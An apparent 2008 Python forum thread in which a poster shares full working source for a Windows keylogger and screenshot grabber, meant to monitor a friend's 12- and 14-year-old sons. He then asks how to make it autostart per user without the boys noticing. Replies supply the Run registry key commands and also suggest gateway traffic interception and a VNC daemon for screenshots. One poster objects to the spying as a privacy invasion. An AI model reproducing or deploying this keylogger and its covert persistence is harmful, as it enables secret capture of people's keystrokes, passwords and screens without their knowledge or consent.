How to autorun a python script when a specific user logs on?

J

jack trades

I wrote a simple keylogger for a friend of mine that wants to keep track of
his kid's (12 and 14 yr old boys) computer usage to make sure they aren't
getting into the naughty parts of the web. The logger works great (source
attached at bottom) but I ran into some troubles getting it to autorun on
login.

The method I tried was to add a registry entry using the function below.
def autostartProgram():
"""Registers program with the windows registry to autostart on login"""
os.system(r'reg add HKLM\software\microsoft\windows\currentversion\run /v
logger /t REG_SZ /d C:\keylogger\logger.py')

This starts the program on login, no problem. However I noticed that after
logging out and back in on my dev (xp pro) machine that "My Network Places"
was gone from my start menu. I restored the registry and tried again. It
happened over and over. I also had problems with Winamp/Media Player after
doing this (grrr I hate Windoze).

Also I noticed that when you switch users using this method, it shows that
there is 1 program running. While I'm not trying to be stealthy I don't
want the kids poking around in his system (probably destroying it) trying to
find the program that's running.

How would I SAFELY start the program at login time for a specific user?
I've been reading google about this for the past 5 hours and I'm stuck,
please help.
Note: I thought about registering it as a system service, but wouldn't that
make the program start for any user that logs on?

Thanks for sparing some time,
Jack Trades



PS. The source for the logger is below. I'll post the source for the
reader when I'm finished if anyone's interested (I'll also post it to
uselesspython when they're back up).
Note: Currently this program must be stored in a folder named
"C:\keylogger\" (I won't post to uselesspython until I fix this, but it
seems necessary when autostarting the program through the registry.)


## Windows Only Script!!!
############################################################################
#
## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
##
## Copyright (C) 2008, Jack Trades
##
## This program is free software: you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation, either version 3 of the License, or
## (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program. If not, see <http://www.gnu.org/licenses/>
##
## Recent Changes:
## Added quality setting to grabScreen
## Wrapped all functions in try/except blocks to silently pass over errors
##
## TODO:
## Write function to send data to secure ftp server in local network
## Write any errors to a text file
############################################################################
#
## Requires: pyHook, win32all, PIL

import pyHook
import pythoncom
import ImageGrab
from time import time
from threading import Timer


############################################################################
#
## Start-Up
############################################################################
#

## The full path is required when started automatically through windows
registry
## Need to find a fix to allow relative paths (this way is UGLY!)
folder = 'C:\\keylogger\\'

filename = folder+'data\\'+str(time()) ## Each program start creates a new
file
skippedKeys = set( (0,) )

def offloadData():
"""Every time the program starts it should offload its log file and
screenshots to another computer. """
pass


############################################################################
#
## Keylogger
############################################################################
#
## The logger skips over keys defined in the global variable *skippedKeys*

def writeData(eventWindow, ascii):
"""Appends each keystroke to file *filename* as defined at the top"""
try:
eventTime = time()
f = open(filename, 'a')
f.write(str( (ascii, eventTime, eventWindow) )+',')
f.close()
except:
pass

def onKeyboardEvent(event):
"""This function is called by pyHook each time a key is pressed.
It writes the (key,time,window) to the logfile as defined in writeData()
It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
try:
eventWindow, ascii = event.WindowName, event.Ascii
if ascii not in skippedKeys: ## skippedKeys is a global
variable
#ascii = chr(ascii) ## uncomment to store chr(ascii)
values
#print ascii ## uncomment to print keys to
screen
writeData(eventWindow, ascii)
return True ## passes the event to other
handlers
except:
return True ## ensures that we pass the key
along
## even if an error occurs


############################################################################
#
## Screenshots
############################################################################
#

def grabScreen(imageQuality=20):
"""Take a screenshot and save it to the folder screens// with filename
time()"""
try:
img = ImageGrab.grab()
img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
except:
pass

def startScreenshots(delay=3):
"""Takes a screenshot every X seconds using grabScreen()"""
try:
grabScreen()
t = Timer(delay, startScreenshots, [delay])
t.start()
except:
pass

############################################################################
#
## Main
############################################################################
#

def run(delay=3):
try:
## Start saving screenshots every X seconds
startScreenshots(delay)
## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
hm = pyHook.HookManager()
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
## Pump keys into HookManager | Does this need a try/except ?
try:
pythoncom.PumpMessages()
except:
pass
except:
pass

if __name__ == '__main__':
try:
run(3) ## Run keylogger with 3 second delay between screenshots
except:
pass
 
H

Hyuga

You know, I'm all for responsible parenting, and teaching kids about
about responsible computer use, and even to an extent checking out
things like browser history to make sure they're up to no good. But
this is outright spying--a total invasion of privacy. Might as well
put a hidden web cam in their room to make sure they aren't doing
naughty things like looking at old-media porn or masturbating. Your
friend should talk to his kids, not automatically assume their guilt.

I wrote a simple keylogger for a friend of mine that wants to keep track of
his kid's (12 and 14 yr old boys) computer usage to make sure they aren't
getting into the naughty parts of the web. The logger works great (source
attached at bottom) but I ran into some troubles getting it to autorun on
login.

The method I tried was to add a registry entry using the function below.
def autostartProgram():
"""Registers program with the windows registry to autostart on login"""
os.system(r'reg add HKLM\software\microsoft\windows\currentversion\run /v
logger /t REG_SZ /d C:\keylogger\logger.py')

This starts the program on login, no problem. However I noticed that after
logging out and back in on my dev (xp pro) machine that "My Network Places"
was gone from my start menu. I restored the registry and tried again. It
happened over and over. I also had problems with Winamp/Media Player after
doing this (grrr I hate Windoze).

Also I noticed that when you switch users using this method, it shows that
there is 1 program running. While I'm not trying to be stealthy I don't
want the kids poking around in his system (probably destroying it) trying to
find the program that's running.

How would I SAFELY start the program at login time for a specific user?
I've been reading google about this for the past 5 hours and I'm stuck,
please help.
Note: I thought about registering it as a system service, but wouldn't that
make the program start for any user that logs on?

Thanks for sparing some time,
Jack Trades

PS. The source for the logger is below. I'll post the source for the
reader when I'm finished if anyone's interested (I'll also post it to
uselesspython when they're back up).
Note: Currently this program must be stored in a folder named
"C:\keylogger\" (I won't post to uselesspython until I fix this, but it
seems necessary when autostarting the program through the registry.)

## Windows Only Script!!!
############################################################################
#
## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
##
## Copyright (C) 2008, Jack Trades
##
## This program is free software: you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation, either version 3 of the License, or
## (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program. If not, see <http://www.gnu.org/licenses/>
##
## Recent Changes:
## Added quality setting to grabScreen
## Wrapped all functions in try/except blocks to silently pass over errors
##
## TODO:
## Write function to send data to secure ftp server in local network
## Write any errors to a text file
############################################################################
#
## Requires: pyHook, win32all, PIL

import pyHook
import pythoncom
import ImageGrab
from time import time
from threading import Timer

############################################################################
#
## Start-Up
############################################################################
#

## The full path is required when started automatically through windows
registry
## Need to find a fix to allow relative paths (this way is UGLY!)
folder = 'C:\\keylogger\\'

filename = folder+'data\\'+str(time()) ## Each program start creates a new
file
skippedKeys = set( (0,) )

def offloadData():
"""Every time the program starts it should offload its log file and
screenshots to another computer. """
pass

############################################################################
#
## Keylogger
############################################################################
#
## The logger skips over keys defined in the global variable *skippedKeys*

def writeData(eventWindow, ascii):
"""Appends each keystroke to file *filename* as defined at the top"""
try:
eventTime = time()
f = open(filename, 'a')
f.write(str( (ascii, eventTime, eventWindow) )+',')
f.close()
except:
pass

def onKeyboardEvent(event):
"""This function is called by pyHook each time a key is pressed.
It writes the (key,time,window) to the logfile as defined in writeData()
It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
try:
eventWindow, ascii = event.WindowName, event.Ascii
if ascii not in skippedKeys: ## skippedKeys is a global
variable
#ascii = chr(ascii) ## uncomment to store chr(ascii)
values
#print ascii ## uncomment to print keys to
screen
writeData(eventWindow, ascii)
return True ## passes the event to other
handlers
except:
return True ## ensures that we pass the key
along
## even if an error occurs

############################################################################
#
## Screenshots
############################################################################
#

def grabScreen(imageQuality=20):
"""Take a screenshot and save it to the folder screens// with filename
time()"""
try:
img = ImageGrab.grab()
img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
except:
pass

def startScreenshots(delay=3):
"""Takes a screenshot every X seconds using grabScreen()"""
try:
grabScreen()
t = Timer(delay, startScreenshots, [delay])
t.start()
except:
pass

############################################################################
#
## Main
############################################################################
#

def run(delay=3):
try:
## Start saving screenshots every X seconds
startScreenshots(delay)
## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
hm = pyHook.HookManager()
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
## Pump keys into HookManager | Does this need a try/except ?
try:
pythoncom.PumpMessages()
except:
pass
except:
pass

if __name__ == '__main__':
try:
run(3) ## Run keylogger with 3 second delay between screenshots
except:
pass
 
J

jack trades

Hyuga said:
You know, I'm all for responsible parenting, and teaching kids about
about responsible computer use, and even to an extent checking out
things like browser history to make sure they're up to no good. But
this is outright spying--a total invasion of privacy. Might as well
put a hidden web cam in their room to make sure they aren't doing
naughty things like looking at old-media porn or masturbating. Your
friend should talk to his kids, not automatically assume their guilt.

Honestly I never even thought of that, it just sounded like a fun, and easy,
project to put my mediocre programming skills to some use. However his main
concern is internet predators (too much Dateline I think) not porn, I should
have worded it differently in the OP. Thanks for pointing that out, but I
don't agree that it is "outright spying", rather it is a logical extension
of watching them play in the yard so you can tell if they are doing things
that are dangerous to themselves (They are minors, lacking the life
experience to guide them through potentially dangerous situations.) I'll be
modifying the program to watch for certain keywords which will enable the
logging, so as to give his kids some degree of 'privacy' as I think that is
important. Afterall how exciting would life be if you couldn't sneak a peek
at the occasional naked woman :)

Jack Trades
 
M

Mike Hjorleifsson

on windows you can put this in HKEY_Local_Machine\Software\Microsoft
\Windows\Current Version\Run and it will run at logon (or fast user
switch) for each user
or if you only want to do it for a specific user you need to determine
their CSLID and put it in the same locale under the HKEY_USERS\Users
cslid... etc.
 
J

jack trades

Mike Hjorleifsson said:
on windows you can put this in HKEY_Local_Machine\Software\Microsoft
\Windows\Current Version\Run and it will run at logon (or fast user
switch) for each user
or if you only want to do it for a specific user you need to determine
their CSLID and put it in the same locale under the HKEY_USERS\Users
cslid... etc.

Thanks for sparing some time. I was looking through the registry and found
that this works as long as you are logged in as the user you want to
autostart the program for:

def autostartProgram(name, location):
os.system(r'reg add HKCU\software\microsoft\windows\currentversion\run /v
%s /t REG_SZ /d %s' % (name, location) )

Jack Trades
 
C

cokofreedom

Thanks for sparing some time. I was looking through the registry and found
that this works as long as you are logged in as the user you want to
autostart the program for:

def autostartProgram(name, location):
os.system(r'reg add HKCU\software\microsoft\windows\currentversion\run /v
%s /t REG_SZ /d %s' % (name, location) )

Jack Trades

Lets hope no one teaches these kids about run->msconfig and other such
techniques for turning these annoying things off. If the parent is
worried about their childs activites then supervise their usage, only
allow them on the system when they are nearby or present...
 
W

Wolfgang Draxinger

jack said:
Honestly I never even thought of that, it just sounded like a
fun, and easy,
project to put my mediocre programming skills to some use.
However his main concern is internet predators (too much
Dateline I think) not porn, I should
have worded it differently in the OP.

Technically I would not use a keylogger for this. Your
implementation can be circumvented easyly anyway, and every
spyware detection tool will report the hooks immediately.
However I think that tool could do nicely for application
documentation :)

To protect the children from predators I'd use transparent
proxies, to analyze all textual traffic for specific statistical
patters, kinda like a Bayes Spam filter, and raise an alarm as
soon something unusual, eventually in combination with some
keywords happens.

This includes majorly 3 protocols: HTTP, SMTP and IRC. e-mails
should be prefiltered anyway, alone for all the spam.

Such a system is best installed on a dedicated machine, e.g. a
Linux based router/gateway, that transparently sends all HTTP,
SMTP and IRC traffic through the analyzers. This cannot be
circumvented, as long the kids don't know the root password for
the gateway.

If you're still up on making screenshots, I'd recommend to
install a VNC deamon, as a _system service_(!), to which the
alarm action program connects to make screenshots.

Wolfgang Draxinger
 
J

jack trades

Wolfgang Draxinger said:
Technically I would not use a keylogger for this. Your
implementation can be circumvented easyly anyway, and every
spyware detection tool will report the hooks immediately.
However I think that tool could do nicely for application
documentation :)

To protect the children from predators I'd use transparent
proxies, to analyze all textual traffic for specific statistical
patters, kinda like a Bayes Spam filter, and raise an alarm as
soon something unusual, eventually in combination with some
keywords happens.

This includes majorly 3 protocols: HTTP, SMTP and IRC. e-mails
should be prefiltered anyway, alone for all the spam.

Such a system is best installed on a dedicated machine, e.g. a
Linux based router/gateway, that transparently sends all HTTP,
SMTP and IRC traffic through the analyzers. This cannot be
circumvented, as long the kids don't know the root password for
the gateway.

If you're still up on making screenshots, I'd recommend to
install a VNC deamon, as a _system service_(!), to which the
alarm action program connects to make screenshots.

Wolfgang Draxinger

Thanks for the suggestion. I can't believe I didn't think of this. I just
installed Kubuntu on one of his old computers (I'm trying to get him to
convert to Linux :) and this would work perfectly, especially since I don't
really expect him to use the linux box. Trying to get a Windoze user to
switch to linux is like pulling teeth.

Jack Trades
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

No members online now.

Forum statistics

Threads
473,755
Messages
2,569,536
Members
45,007
Latest member
obedient dusk

Latest Threads

Top